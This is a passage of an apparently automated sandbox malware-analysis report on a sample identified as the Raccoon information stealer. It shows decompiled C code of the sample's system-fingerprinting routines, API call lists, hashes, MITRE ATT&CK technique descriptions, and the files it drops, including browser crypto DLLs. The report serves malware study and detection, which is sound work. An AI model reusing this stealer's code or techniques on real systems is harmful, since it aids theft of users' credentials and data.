				if(EnumDisplayDevicesW(0, 0,  &_v844, 0) <= 0) {
					L5:
					LocalFree(_t34);
					return 1;
				} else {
					goto L1;
				}
				do {
					L1:
					_t15 = LocalAlloc(0x40, 0x200);
					_v848 = _t15;
					_t16 = wsprintfW(_t15,  *0x4232b0, _t25,  &(_v844.DeviceString));
					_t42 = _t42 + 0x10;
					_t17 = lstrlenW( *0x4232b0);
					_t39 = _v844.DeviceName;
					if(_t16 >= _t17) {
						_t21 = wsprintfW(_t34,  *0x423384, _t39);
						_t42 = _t42 + 0xc;
						_t45 = _t21;
						if(_t21 != 0) {
							 *_a4 = E0041AD76( *_a4, _t34, _t45);
						}
					}
					LocalFree(_t39);
					_t25 = _t25 + 1;
				} while (_t25 < EnumDisplayDevicesW(0, 0,  &_v836, 0));
				goto L5;
			}

0x00414e74
0x00414e84
0x00414e8c
0x00414e95
0x00414e97
0x00414ea8
0x00414f29
0x00414f2a
0x00414f39
0x00000000
0x00000000
0x00000000
0x00414eaa
0x00414eaa
0x00414eb1
0x00414ebb
0x00414ec8
0x00414ece
0x00414ed9
0x00414ee1
0x00414ee5
0x00414eef
0x00414ef5
0x00414ef8
0x00414efa
0x00414f0b
0x00414f0b
0x00414efa
0x00414f0e
0x00414f1e
0x00414f25
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00002000,00000000,00000001,00000000), ref: 00414E84
EnumDisplayDevicesW.USER32(00000000,00000000,?,00000000), ref: 00414EA0
LocalAlloc.KERNEL32(00000040,00000200), ref: 00414EB1
wsprintfW.USER32 ref: 00414EC8
lstrlenW.KERNEL32 ref: 00414ED9
wsprintfW.USER32 ref: 00414EEF

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(?), ref: 00414F0E
EnumDisplayDevicesW.USER32(00000000,00000000,?,00000000), ref: 00414F1F
LocalFree.KERNEL32(00000000), ref: 00414F2A

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$AllocDevicesDisplayEnumFreewsprintf$lstrlen
String ID:
API String ID: 1155454342-0
Opcode ID: 6ffb00ed3198d5c8033380c0988bd714ee089824891a8c1d148acf53c1537392
Instruction ID: 7844e2910fcb8c02191867697f81b881cb15f55775e0112add53c8639ca74777
Opcode Fuzzy Hash: 6ffb00ed3198d5c8033380c0988bd714ee089824891a8c1d148acf53c1537392
Instruction Fuzzy Hash: 3621A471304200AFD3149F24DC49E7B77B9EB44716F40452DFA15C22A0EB389A16CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00413E77 Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00413E77(void* _a4, WCHAR** _a8) {
				signed int _t7;
				WCHAR* _t8;
				void* _t16;
				signed int _t22;
				signed int _t24;
				signed int _t25;
				WCHAR* _t26;
				WCHAR** _t27;

				_t22 = 0;
				_t7 = StrStrW(_a4,  *0x423354);
				_t25 = _t7;
				if(_t25 != 0) {
					_t26 = _t25 + 0x10;
					_t8 = StrStrW(_t26,  *0x423200);
					if(_t8 == 0) {
						L5:
						_a4 = LocalAlloc(0x40, lstrlenW(_t26) + _t9);
						if(E00419B4E(_t26,  &_a4, 0, _t22) != 0) {
							_t27 = _a8;
							 *_t27 = StrCpyW( *_t27, _a4);
						} else {
							_push(0xfffffffd);
							_pop(1);
						}
						LocalFree(_a4);
						return 1;
					}
					_t24 = _t8 - _t26;
					_t22 = _t24 >> 1;
					if(_t24 >= 0) {
						goto L5;
					}
					_t16 = 0xfffffffe;
					return _t16;
				}
				return _t7 | 0xffffffff;
			}

0x00413e82
0x00413e87
0x00413e8d
0x00413e91
0x00413e9e
0x00413ea2
0x00413eaa
0x00413eb9
0x00413ed1
0x00413edf
0x00413ee6
0x00413ef4
0x00413ee1
0x00413ee1
0x00413ee3
0x00413ee3
0x00413efc
0x00000000
0x00413f02
0x00413eae
0x00413eb0
0x00413eb2
0x00000000
0x00000000
0x00413eb6
0x00000000
0x00413eb6
0x00000000

APIs

StrStrW.SHLWAPI(00000000,00000000,00000000,?,00411F2C,00000000,?), ref: 00413E87
StrStrW.SHLWAPI(-00000010,?,00411F2C,00000000,?), ref: 00413EA2

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df121a0975034eeaefee40a45681a2624469f4b6c67c1060f813b31057a76e27
Instruction ID: 75b8c9a6d5a13277a123a60d167c2c5ee9d1b7b3fce0b55f316c28558315f67d
Opcode Fuzzy Hash: df121a0975034eeaefee40a45681a2624469f4b6c67c1060f813b31057a76e27
Instruction Fuzzy Hash: FE11E932304210BBDB210F29DC0899A7F75EF447727500226FA15D61E0DA394B928BDC

Uniqueness

Uniqueness Score: -1.00%

Function 00414C49 Relevance: 7.5, APIs: 5, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00414C49(intOrPtr* _a4) {
				void* _t16;
				intOrPtr* _t19;

				_push(0);
				_push(0);
				_t18 = 1;
				if( *0x423108() == 0) {
					GetLastError();
					_t18 =  ==  ? 0 : 1;
				}
				_t16 = LocalAlloc(0x40, 0x400);
				_t1 = _t18 + 1; // 0x2
				wsprintfW(_t16,  *0x423368, _t1 << 5);
				_t19 = _a4;
				 *_t19 = E0041AD76( *_t19, _t16, 1);
				LocalFree(_t16);
				return 1;
			}

0x00414c4e
0x00414c52
0x00414c54
0x00414c5d
0x00414c5f
0x00414c6a
0x00414c6a
0x00414c7a
0x00414c7c
0x00414c8a
0x00414c90
0x00414ca0
0x00414ca2
0x00414cae

APIs

GetSystemWow64DirectoryW.KERNEL32(00000000,00000000,00000000,00000001,?,004153F8,00000000,00000000,00000000,00000000), ref: 00414C55
GetLastError.KERNEL32(?,004153F8,00000000,00000000,00000000,00000000), ref: 00414C5F
LocalAlloc.KERNEL32(00000040,00000400,?,004153F8,00000000,00000000,00000000,00000000), ref: 00414C74
wsprintfW.USER32 ref: 00414C8A
LocalFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004101AD), ref: 00414CA2

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocDirectoryErrorFreeLastSystemWow64wsprintf
String ID:
API String ID: 2566887757-0
Opcode ID: 9fe364dad68204e9d7145dd02f43b66599d6e4d8fceeff65afd1f6ed2bbe8f0f
Instruction ID: 7f30d60766155db9908d6494f31b0ffd98c55e5a9dc60eca6a124d8c45e2a3a0
Opcode Fuzzy Hash: 9fe364dad68204e9d7145dd02f43b66599d6e4d8fceeff65afd1f6ed2bbe8f0f
Instruction Fuzzy Hash: F1F0F6317002106BD3205F659C0EF5B7BB9EF80B56F40443AFA06D6250EA789642CAAC

Uniqueness

Uniqueness Score: -1.00%

Function 00414BF5 Relevance: 7.5, APIs: 5, Instructions: 31
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00414BF5(void* __eflags, intOrPtr* _a4) {
				void* _t12;
				intOrPtr* _t13;
				void* _t16;

				_t16 = __eflags;
				_t12 = LocalAlloc(0x40, 0x400);
				_push(GetSystemMetrics(1));
				wsprintfW(_t12,  *0x423334, GetSystemMetrics(0));
				_t13 = _a4;
				 *_t13 = E0041AD76( *_t13, _t12, _t16);
				LocalFree(_t12);
				return 1;
			}

0x00414bf5
0x00414c09
0x00414c11
0x00414c22
0x00414c28
0x00414c38
0x00414c3a
0x00414c46

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,00000001,?,00415413,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00414C01
GetSystemMetrics.USER32(00000001), ref: 00414C0B
GetSystemMetrics.USER32(00000000), ref: 00414C14
wsprintfW.USER32 ref: 00414C22

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00414C3A

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$LocalMetricsSystem$AllocFreewsprintf
String ID:
API String ID: 918975854-0
Opcode ID: 5fad76184b557b43b501182b312743b367044b63daabbe844d8b7553373ba740
Instruction ID: 57eedaa77df45fc512c4586dea0518814c23041e008fa90f890ef226174a3312
Opcode Fuzzy Hash: 5fad76184b557b43b501182b312743b367044b63daabbe844d8b7553373ba740
Instruction Fuzzy Hash: EAF0A731300100BBD2206FA5AC09F5ABB78DF45B52F404425F705C7155C9795612877C

Uniqueness

Uniqueness Score: -1.00%

Function 00413D52 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 62
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E00413D52(void* _a8) {
				int _v8;
				char _v12;
				char _v16;
				void* _v20;
				char _t17;
				void* _t20;
				int _t26;
				void* _t27;
				void* _t29;
				WCHAR** _t31;

				_t17 =  *0x4233fc; // 0x513d258
				_v16 = _t17;
				_t26 = 0;
				_v12 = 0;
				_v8 = 0;
				_t20 =  *0x423170( &_v12,  &_v8);
				if(_v8 == 0) {
					L9:
					return _t20 | 0xffffffff;
				}
				_t20 = LocalAlloc(0, _v8);
				_t27 = _t20;
				_v20 = _t27;
				if(_t27 == 0) {
					goto L9;
				}
				 *0x423160(_v12, _v8, _t27, _t29);
				if(_v12 <= 0) {
					L6:
					_t26 = 0xfffffffe;
					L7:
					LocalFree(_t27);
					return _t26;
				}
				_t12 = _t27 + 0x30; // 0x30
				_t31 = _t12;
				while(1) {
					_t13 =  &_v16; // 0x413e22
					if(lstrcmpW( *_t31,  *_t13) == 0) {
						break;
					}
					_t26 = _t26 + 1;
					_t31 =  &(_t31[0x13]);
					if(_t26 < _v12) {
						continue;
					}
					goto L6;
				}
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t27 = _v20;
				goto L7;
			}

0x00413d58
0x00413d5e
0x00413d61
0x00413d67
0x00413d6e
0x00413d72
0x00413d7b
0x00413dde
0x00000000
0x00413dde
0x00413d81
0x00413d87
0x00413d89
0x00413d8e
0x00000000
0x00000000
0x00413d98
0x00413da1
0x00413dbe
0x00413dc0
0x00413dc1
0x00413dc2
0x00000000
0x00413dca
0x00413da3
0x00413da3
0x00413da6
0x00413da6
0x00413db3
0x00000000
0x00000000
0x00413db5
0x00413db6
0x00413dbc
0x00000000
0x00000000
0x00000000
0x00413dbc
0x00413dd5
0x00413dd6
0x00413dd7
0x00413dd8
0x00413dd9
0x00000000

APIs

LocalAlloc.KERNEL32(00000000,?,?,00413E22,?,?), ref: 00413D81
lstrcmpW.KERNEL32(00000030,">A,?,00413E22,?,?), ref: 00413DAB
LocalFree.KERNEL32(00000000,?,00413E22,?,?), ref: 00413DC2

Strings

">A, xrefs: 00413DA6

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$AllocFreelstrcmp
String ID: ">A
API String ID: 3789843827-2224431591
Opcode ID: 6a4d367aa3052ffeb4ebfe626d317249c258f1434efc52f457f3f9885f587be3
Instruction ID: 7181a064595cad8b37f0f64a289bcb5723435f3015ab169010033c577bcd09f5
Opcode Fuzzy Hash: 6a4d367aa3052ffeb4ebfe626d317249c258f1434efc52f457f3f9885f587be3
Instruction Fuzzy Hash: 17119036E00108FBCB11DFA5DD848DEBB76FF41352B60016AE915A3250C7399F419B54

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xGSkelSjdu.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Raccoon

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\2Ct4F3Eh364b

C:\Users\user\AppData\LocalLow\M0A0f5Qy50dW

C:\Users\user\AppData\LocalLow\WO67rcUVSGXh

C:\Users\user\AppData\LocalLow\freebl3.dll

C:\Users\user\AppData\LocalLow\mJVvJ7y1Ogj5

C:\Users\user\AppData\LocalLow\mozglue.dll

C:\Users\user\AppData\LocalLow\msvcp140.dll

C:\Users\user\AppData\LocalLow\nss3.dll

C:\Users\user\AppData\LocalLow\softokn3.dll

